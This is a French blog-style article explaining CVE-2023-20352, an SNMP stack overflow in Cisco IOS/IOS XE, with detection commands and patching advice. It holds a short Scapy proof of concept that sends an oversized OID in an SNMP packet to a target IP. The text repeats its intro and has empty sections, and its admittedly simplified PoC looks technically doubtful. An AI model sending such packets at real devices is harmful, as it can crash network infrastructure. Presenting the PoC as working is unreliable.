
CVE-2023-20352 est une faille critique de débordement de pile dans le moteur SNMP de Cisco IOS/IOS XE. Avec simplement des paquets SNMP spécialement conçus, des attaquants distants peuvent faire planter les systèmes ou prendre le contrôle root. Toutes les versions SNMP sont vulnérables : patchez maintenant ou risquez une compromission totale.
CVE-2023-20352 est une faille critique de débordement de pile dans le moteur SNMP de Cisco IOS/IOS XE. Avec seulement des paquets SNMP élaborés, des attaquants distants peuvent faire planter les systèmes ou prendre le contrôle root. Toutes les versions de SNMP sont vulnérables. Patchez maintenant ou risquez une compromission totale.
Par Mark Malllia
Le protocole simple de gestion de réseau (SNMP) est un protocole fondamental pour l'administration réseau, permettant aux administrateurs système de surveiller, configurer et gérer les périphériques réseau. Il fonctionne sur les ports 161 (pour les requêtes SNMP) et 162 (pour les traps). SNMP prend en charge trois versions : v1, v2c et v3, chacune offrant différents niveaux de sécurité. Celui-ci me touche particulièrement, car ma thèse portait sur SNMP et Cisco reste un élément incontournable de mon travail quotidien.
L'utilité de SNMP s'étend à la surveillance en temps réel, à la gestion des inventaires et à la détection des pannes sur les réseaux. Malgré son importance, le rôle de SNMP dans la gestion réseau pose également des risques de sécurité lorsqu'il n'est pas correctement sécurisé, comme le montre la vulnérabilité CVE-2023-20352.
CVE-2023-20352 est une faille de débordement de tampon basée sur la pile de haute sévérité affectant les appareils Cisco IOS et IOS XE. Elle réside dans le sous-système SNMP, qui traite le trafic de gestion réseau.
Détails techniques :
La vulnérabilité est déclenchée par des paquets SNMP élaborés envoyés à un appareil vulnérable, provoquant un contrôle incorrect des limites et un débordement de pile. Toutes les versions de SNMP sont concernées.
Attaque à faibles privilèges :
Attaque à hauts privilèges :
Pour détecter les vulnérabilités, les administrateurs peuvent utiliser les commandes CLI suivantes :
show running-config | include snmp-server community
show running-config | include snmp-server group
show snmp
snmp-server view <nom-vue> <OID> excluded.Une preuve de concept (PoC) conceptuelle utilisant Python et Scapy démontre l'exploitabilité :
from scapy.all import *
# Remplacez par l'IP cible et la chaîne communauté SNMP
target_ip = "192.168.1.1"
community = "public"
# Créer un paquet malveillant
payload = b"A" * 1024 # Débordement du tampon
packet = IP(dst=target_ip)/UDP(dport=161)/SNMP(community=community, PDU=SNMPget(varbindlist=[SNMPvarbind(oid=payload)]))
send(packet)
Remarque : Il s'agit d'un exemple simplifié. L'exploitation réelle nécessite un façonnage précis de la charge utile et une élévation de privilèges.
La vulnérabilité CVE-2023-20352 souligne le rôle critique de SNMP et les risques associés. Les organisations doivent prioriser l'application des correctifs et la sécurisation des configurations SNMP pour atténuer les menaces, assurant ainsi la résilience du réseau face aux attaques émergentes.